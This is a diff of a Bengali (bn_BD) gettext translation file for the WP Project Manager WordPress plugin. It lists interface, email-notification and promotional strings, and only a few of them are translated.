views/assets/js/pm.js:9 -msgid "Description (optional)" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/project-task-lists/single-task.vue:267 -msgid "Update" -msgstr "" - -#: views/assets/js/pm.js:9 -msgid "Create type" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/settings/task-types.vue:10 -msgid "+ Create New Task Type" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/settings/task-types.vue:24 -msgid "Action" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:7 -#: views/assets/src/components/settings/pusher.vue:7 -msgid "Pusher Settings" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:12 -#: views/assets/src/components/settings/pusher.vue:12 -msgid "App id" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:20 -#: views/assets/src/components/settings/pusher.vue:20 -msgid "App Key" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:28 -#: views/assets/src/components/settings/pusher.vue:28 -msgid "secret" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:37 -#: views/assets/src/components/settings/pusher.vue:37 -msgid "Cluster" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/welcome/WelcomeBanner.vue:13 -msgid "Welcome to" -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/welcome/WelcomeBanner.vue:15 -msgid "" -"The best project management tool for WordPress to get things done with your " -"team." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/welcome/WelcomeBanner.vue:23 -msgid "Create Your First Project" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/welcome/WelcomeBanner.vue:26 -msgid "Read Full Guide" -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/welcome/Features.vue:5 -msgid "Features you can use..." -msgstr "" - -#: views/assets/js/pm.js:9 views/assets/src/components/welcome/resources.vue:20 -msgid "Resources of Project Manager" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/ProBanner.vue:14 -msgid "Project Manager Pro" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/ProBanner.vue:17 -msgid "Premium Features" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/ProBanner.vue:20 -msgid "Advanced project management tools to ensure your" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/ProBanner.vue:21 -msgid "efficiency and productivity reach the peak." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/FeatureWidget.vue:19 -#: views/assets/src/components/pro-features/ProModules.vue:14 -msgid "See More" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/ProModules.vue:5 -msgid "Available Modules" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/MoreProFeatures.vue:5 -msgid "More features to unveil while" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/MoreProFeatures.vue:6 -msgid "Managing Your Project" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/MoreProFeatures.vue:8 -msgid "Useful & fascinating features for WP Project Manager that can be" -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/pro-features/MoreProFeatures.vue:8 -msgid "unlocked with the Pro Version." -msgstr "" - -#: views/assets/js/pm.js:9 -#: views/assets/src/components/common/color-picker.vue:9 -msgid "Select Color" -msgstr "" - -#: views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:13 -msgid "Task title" -msgstr "" - -#: views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:19 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:76 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:34 -#: views/assets/src/components/common/list-filter.vue:78 -msgid "Clear Filter" -msgstr "" - -#: views/assets/js/pm.js:34 -msgid "Apply Filter" -msgstr "" - -#: views/assets/js/pm.js:34 -#: views/assets/src/components/common/globally-task-create-form.vue:63 -msgid "You have no permission to create task for this project" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:42 -msgid "Update Category" -msgstr "" - -#: views/assets/src/components/common/button.vue:177 -msgid "Submit" -msgstr "" - -#: views/assets/src/components/common/comment-form.vue:198 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:119 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:118 -msgid "Post Comment" -msgstr "" - -#: views/assets/src/components/common/comment-form.vue:199 -#: views/assets/src/components/project-discussions/comment-form.vue:46 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:120 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:119 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/src/components/common/dropdown-menu.vue:12 -msgid "Menu 1" -msgstr "" - -#: views/assets/src/components/common/dropdown-menu.vue:21 -msgid "Menu 2" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:59 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/globally-task-create-form.vue:129 -#: views/assets/src/components/common/project-drop-down.vue:118 -msgid "Select a project" -msgstr "" - -#: views/assets/src/components/common/header.vue:336 -msgid "Project Actions" -msgstr "" - -#: views/assets/src/components/common/list-filter.vue:246 -#: views/assets/src/components/common/list-filter.vue:259 -#: views/assets/src/components/project-task-lists/lists.vue:372 -#: views/assets/src/components/project-task-lists/lists.vue:376 -#: views/assets/src/components/project-task-lists/lists.vue:383 -#: views/assets/src/components/project-task-lists/lists.vue:400 -msgid "Any" -msgstr "" - -#: views/assets/src/components/common/list-filter.vue:263 -#: views/assets/src/components/project-task-lists/lists.vue:387 -msgid "Over Due" -msgstr "" - -#: views/assets/src/components/common/list-filter.vue:267 -#: views/assets/src/components/project-task-lists/lists.vue:391 -msgid "Today" -msgstr "" - -#: views/assets/src/components/common/list-filter.vue:271 -#: views/assets/src/components/project-task-lists/lists.vue:395 -msgid "Less Than 1 week" -msgstr "" - -#: views/assets/src/components/common/loading-animation.vue:21 -msgid "Loading..." -msgstr "" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "" - -#: views/assets/src/components/common/popup-modal.vue:173 -#: views/emails/html/new-message.php:28 views/emails/html/update-message.php:28 -msgid "Title" -msgstr "" - -#: views/assets/src/components/common/task-type-dropdown.vue:119 -msgid "Choose task type" -msgstr "" - -#: views/assets/src/components/common/text-editor.vue:36 -msgid "Write a comment..." -msgstr "একটি মন্তব্য লিখুন" - -#: views/assets/src/components/my-tasks/current-task.vue:285 -#: views/assets/src/components/my-tasks/current-task.vue:289 -#: views/assets/src/components/my-tasks/outstanding-task.vue:249 -msgid "Created at" -msgstr "" - -#: views/assets/src/components/my-tasks/current-task.vue:293 -#: views/assets/src/components/my-tasks/outstanding-task.vue:253 -msgid "Date Between" -msgstr "" - -#: views/assets/src/components/my-tasks/my-task-header.vue:106 -msgid "Select an User" -msgstr "" - -#: views/assets/src/components/my-tasks/overview.vue:228 -#: views/assets/src/components/my-tasks/search-task.vue:233 -msgid "Start at - Due date" -msgstr "" - -#: views/assets/src/components/my-tasks/overview.vue:228 -#: views/assets/src/components/my-tasks/search-task.vue:233 -msgid "Due date" -msgstr "" - -#: views/assets/src/components/my-tasks/search-task.vue:436 -msgid "Start date and due date should be greater than or equal today" -msgstr "" - -#: views/assets/src/components/my-tasks/search-task.vue:441 -msgid "Start date should be greater than or equal today" -msgstr "" - -#: views/assets/src/components/my-tasks/search-task.vue:446 -msgid "Due date should be greater than today" -msgstr "" - -#: views/assets/src/components/my-tasks/search-task.vue:473 -msgid "Start date and due date should be less than today" -msgstr "" - -#: views/assets/src/components/my-tasks/search-task.vue:478 -msgid "Start date should be less than today" -msgstr "" - -#: views/assets/src/components/my-tasks/search-task.vue:483 -msgid "Due date should be less than today" -msgstr "" - -#: views/assets/src/components/pro-features/ProFeatures.vue:22 -msgid "Calendar" -msgstr "" - -#: views/assets/src/components/pro-features/ProFeatures.vue:23 -msgid "Get the Birdseye view of all tasks from an interactive calendar." -msgstr "" - -#: views/assets/src/components/pro-features/ProFeatures.vue:30 -msgid "Report" -msgstr "" - -#: views/assets/src/components/pro-features/ProFeatures.vue:31 -msgid "Generate actionable insights with built-in reporting system." -msgstr "" - -#: views/assets/src/components/pro-features/ProFeatures.vue:38 -msgid "Progress" -msgstr "" - -#: views/assets/src/components/pro-features/ProFeatures.vue:39 -msgid "" -"Stay updated with the live progress of your projects. Plan ahead of deadline." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:27 -msgid "Recurring Task" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:28 -msgid "" -"Automate routine tasks with this super handy module. Just set the patterns & " -"parameters and the tasks will repeat itself accordingly." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:34 -msgid "BuddyPress" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:35 -msgid "" -"Need to bring team networking in your project manager? You're good to go." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:41 -msgid "Gantt Chart" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:42 -msgid "" -"Get a graphical overview of task progress, deadline, sub-tasks, project " -"dependencies - everything in one place." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:48 -msgid "Kanban Board" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:49 -msgid "" -"Organize your tasks in Kanban style to keep team-mates updated about task " -"status." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:55 -msgid "WooCommerce Order" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:56 -msgid "" -"Integrate task management with your WooCommerce store and automate the " -"workflow." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:62 -msgid "Sub Task" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:63 -msgid "" -"Break down your tasks into smaller ones to work more effectively. Keep track " -"of every detail." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:69 -msgid "Time Tracker" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:70 -msgid "" -"Track the exact time you spend on specific tasks. With Interval option of " -"course." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:76 -msgid "Invoice" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:77 -msgid "Invoice creation, payment collection have never been easier before." -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:83 -msgid "Stripe Gateway" -msgstr "" - -#: views/assets/src/components/pro-features/ProModules.vue:84 -msgid "" -"Enable the hassle-free and popular payment system with the minimum cost " -"possible." -msgstr "" - -#: views/assets/src/components/project-discussions/comment-form.vue:45 -msgid "Add New Comment" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:79 -msgid "Add List" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:169 -msgid "Delete this message" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:170 -msgid "Make it private" -msgstr "" - -#: views/assets/src/components/project-discussions/mixin.js:558 -msgid "Are you sure to delete this comment?" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:61 -msgid "Enter message title" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:62 -msgid "Add Message" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:63 -#: views/emails/html/update-message.php:12 -msgid "Update Message" -msgstr "" - -#: views/assets/src/components/project-lists/header.vue:56 -msgid "Start a new project" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:125 -msgid "Name of the project" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:126 -msgid "Some details about the project (optional)" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:127 -msgid "Search users..." -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:129 -msgid "Add New Project" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:130 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:131 -msgid "Client" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "" - -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "" - -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "" - -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "" - -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "" - -#: views/assets/src/components/project-milestones/new-milestone-form.vue:100 -msgid "Milestone title required!" -msgstr "" - -#: views/assets/src/components/project-overview/addNewUser.vue:51 -msgid "Create" -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:720 -#: views/assets/src/components/project-task-lists/single-task.vue:65 -msgid "Make Visible" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:277 -msgid "Add a new task" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:278 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:279 -msgid "Start Date" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:281 -msgid "Select User" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:282 -msgid "Update Task" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:284 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-form.vue:434 -#: views/assets/src/components/project-task-lists/single-task.vue:530 -#: views/assets/src/components/project-task-lists/single-task.vue:536 -msgid "Maxmim character limit 200" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:77 -msgid "Task list details" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:78 -msgid "Update List" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:465 -msgid "Delete List" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:41 -msgid "Mark Complete" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:47 -msgid "Created by" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:59 -msgid "Copy Link" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:113 -msgid "Task List:" -msgstr "কার্য তালিকা" - -#: views/assets/src/components/project-task-lists/single-task.vue:261 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:390 -msgid "Update Description" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:646 -msgid "Copied!" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:878 -msgid "Invalid date range!" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:1034 -msgid "Task marked as private" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:1036 -msgid "Task visible for co-worker" -msgstr "" - -#: views/assets/src/components/pusher/settings.vue:69 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:120 -#: views/assets/src/components/settings/pusher.vue:69 -#: views/assets/src/components/settings/usersmap.vue:48 -msgid "Save Changes" -msgstr "" - -#: views/assets/src/components/settings/new-task-type-form.vue:187 -msgid "Type name required!" -msgstr "" - -#: views/assets/src/components/settings/task-type-item.vue:58 -msgid "Are you sure!" -msgstr "" - -#: views/assets/src/components/settings/usersmap.vue:6 -msgid "Users Map to Github & Bitbucket" -msgstr "" - -#: views/assets/src/components/welcome/WelcomeBanner.vue:16 -msgid "Filter, edit, update or take" -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:10 -msgid "Import" -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:11 -msgid "Effortlessly import projects and project tasks from" -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:12 -msgid "other platforms to manage them at one place." -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:16 -msgid "Import Now" -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:46 -msgid "" -"Get upgraded to Pro version to unlock endless opportunities of managing your " -"project better." -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:47 -msgid "Upgrade to Pro" -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:54 -msgid "" -"Enhance your project management performance with extended features in the " -"pro version." -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:55 -msgid "View Pro features" -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:62 -msgid "" -"Check out all the useful modules that would take your project management " -"experience to a whole new level." -msgstr "" - -#: views/assets/src/components/welcome/resources.vue:63 -msgid "Go to Modules" -msgstr "" - -#: views/assets/src/helpers/mixin/mixin.js:1004 -msgid "Are you sure to delete this project?" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:29 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:40 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:58 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -msgid "View Comment" -msgstr "" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:49 views/emails/html/update-message.php:49 -msgid "View Message" -msgstr "" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-message.php:19 -msgid "Message Updated By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -#: views/emails/html/update-task.php:18 -msgid "Updated By" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" +# Copyright (C) 2020 weDevs +# This file is distributed under the GPL2. +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager 2.3.10\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2020-06-12 04:18:38+00:00\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"PO-Revision-Date: 2020-06-15 06:34+0000\n" +"Language-Team: বাংলা\n" +"X-Generator: Loco https://localise.biz/\n" +"Last-Translator: \n" +"Plural-Forms: nplurals=2; plural=(n==0 || n==1);\n" +"Language: bn_BD\n" +"X-Loco-Version: 2.4.0; wp-5.4.2" + +#: core/Admin_Notice/Admin_Notice.php:33 +msgid "UPDATE REQUIRED" +msgstr "আধুনিকীকরণ আবশ্যক" + +#: core/Admin_Notice/Admin_Notice.php:35 +msgid "" +"WP Project Manager Pro is not working because you are using an old version " +"of WP Project Manager Pro. Please update" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:37 +msgid "WP Project Manager Pro" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:39 +msgid "to >= v2.0.12" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:42 +msgid "to work with the latest version of WP Project Manager" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:45 +msgid "Update WP Project Manager Pro Now" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:49 +msgid "Update WP Project Manager Pro NOW" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:172 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:173 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/Admin_Notice/Admin_Notice.php:182 +msgid "Read Docs" +msgstr "" + +#: core/Notifications/Emails/Complete_Task_Notification.php:44 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:55 +#: core/Notifications/Emails/Update_Comment_Notification.php:54 +#: src/Pusher/libs/action.php:476 views/emails/html/new-message.php:39 +#: views/emails/html/update-message.php:39 +msgid "Message" +msgstr "বার্তা" + +#: core/Notifications/Emails/New_Comment_Notification.php:60 +#: core/Notifications/Emails/Update_Comment_Notification.php:57 +#: src/Task/Helper/Task.php:96 views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/complete-task.vue:21 +#: views/assets/src/components/my-tasks/current-task.vue:21 +#: views/assets/src/components/my-tasks/outstanding-task.vue:21 +#: views/assets/src/components/project-task-lists/lists.vue:239 +msgid "Task List" +msgstr "কার্য তালিকা" + +#: core/Notifications/Emails/New_Comment_Notification.php:65 +#: core/Notifications/Emails/Update_Comment_Notification.php:60 +#: src/Pusher/libs/action.php:92 src/Pusher/libs/action.php:97 +#: src/Pusher/libs/action.php:165 src/Pusher/libs/action.php:168 +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/globally-task-create-form.vue:51 +#: views/assets/src/components/my-tasks/new-task.vue:84 +#: views/assets/src/components/project-overview/directive.js:10 +msgid "Task" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:70 +msgid "File" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:83 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:49 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:43 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:51 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Message_Notification.php:47 +msgid "[%s][%s] Update Message: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +msgid "[%s] Updated Project: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Task_Notification.php:42 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:24 +#: core/Permissions/Create_Discuss.php:19 +#: core/Permissions/Create_Milestone.php:18 core/Permissions/Create_Task.php:18 +#: core/Permissions/Create_Task_List.php:19 core/Permissions/Delete_Task.php:27 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:18 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Create_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Promotions/Offers.php:47 +msgid "" +"

In this Christmas, stay on top of budgets. Spend 30%% " +"LESS on WP Project Manager Pro and increase " +"productivity for you and your organization. [Limited time ⏳😎]

Grab The " +"Deal

" +msgstr "" + +#: core/Promotions/Offers.php:199 core/Promotions/Wedevs_Promotion.php:190 +msgid "Invalid nonce" +msgstr "" + +#: core/Promotions/Offers.php:203 core/Promotions/Wedevs_Promotion.php:194 +msgid "You have no permission to do that" +msgstr "" + +#: core/Promotions/Promotions.php:42 +msgid "Visualize all the task progress and get full insights" +msgstr "" + +#: core/Promotions/Promotions.php:43 +msgid "" +"Leverage the Gantt chart feature in your WP Project Manager Pro. Get exact " +"progress illustration of all tasks, and never miss a deadline." +msgstr "" + +#: core/Promotions/Promotions.php:50 +msgid "Get more organized and more efficient in Kanban Style" +msgstr "" + +#: core/Promotions/Promotions.php:51 +msgid "" +"Utilize the popular Kanban method and improve your workflow significantly. " +"Segment your tasks into a different category and utilize the most of project " +"management tools." +msgstr "" + +#: core/Promotions/Promotions.php:58 +msgid "Time wastage is not an option!" +msgstr "" + +#: core/Promotions/Promotions.php:59 +msgid "" +"Time is money! So make the most out of it. Use the advanced time tracker " +"extension to get accurate insights about time management." +msgstr "" + +#: core/Promotions/Promotions.php:66 +msgid "Small things bring great achievements!" +msgstr "" + +#: core/Promotions/Promotions.php:67 +msgid "" +"Breakdown your main task into smaller parts and set milestones for them. " +"Complete big tasks successfully easier than ever." +msgstr "" + +#: core/Promotions/Wedevs_Promotion.php:82 +msgid "Learn More →" +msgstr "" + +#: core/Upgrades/Upgrade.php:150 +msgid "WP Project Manager Data Update Required" +msgstr "" + +#: core/Upgrades/Upgrade.php:151 +msgid "– Please click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:155 +msgid "Run the Update" +msgstr "" + +#: core/Upgrades/Upgrade.php:156 +msgid "Read More" +msgstr "" + +#: core/Upgrades/Upgrade.php:164 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/Upgrades/Upgrade_2_2.php:33 +#: src/Project/Controllers/Project_Controller.php:427 +msgid "Inbox" +msgstr "" + +#: core/Upgrades/Upgrade_2_2.php:34 +#: src/Project/Controllers/Project_Controller.php:428 views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/lists.vue:109 +#: views/assets/src/components/project-task-lists/lists.vue:194 +msgid "" +"This is a system default task list. Any task without an assigned tasklist " +"will appear here." +msgstr "" + +#: core/WP/Enqueue_Scripts.php:68 +msgid "Allowed Files" +msgstr "" + +#: core/WP/Frontend.php:183 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:228 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:231 core/WP/Menu.php:44 +msgid "Settings" +msgstr "" + +#: core/WP/Frontend.php:232 +msgid "Documentation" +msgstr "" + +#: core/WP/Frontend.php:276 core/WP/Frontend.php:289 +msgid "Create New Task" +msgstr "" + +#: core/WP/Frontend.php:305 +msgid "Jump to a project" +msgstr "" + +#: core/WP/Menu.php:20 libs/functions.php:928 views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/header.vue:10 +msgid "Project Manager" +msgstr "প্রকল্প ব্যবস্থাপক" + +#: core/WP/Menu.php:22 views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/complete-task.vue:22 +#: views/assets/src/components/my-tasks/current-task.vue:22 +#: views/assets/src/components/my-tasks/outstanding-task.vue:22 +#: views/assets/src/components/project-lists/router.js:42 +msgid "Projects" +msgstr "" + +#: core/WP/Menu.php:25 +msgid "My Tasks %s" +msgstr "" + +#: core/WP/Menu.php:29 views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:3 +#: views/assets/src/components/categories/router.js:21 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:33 +msgid "Premium" +msgstr "" + +#: 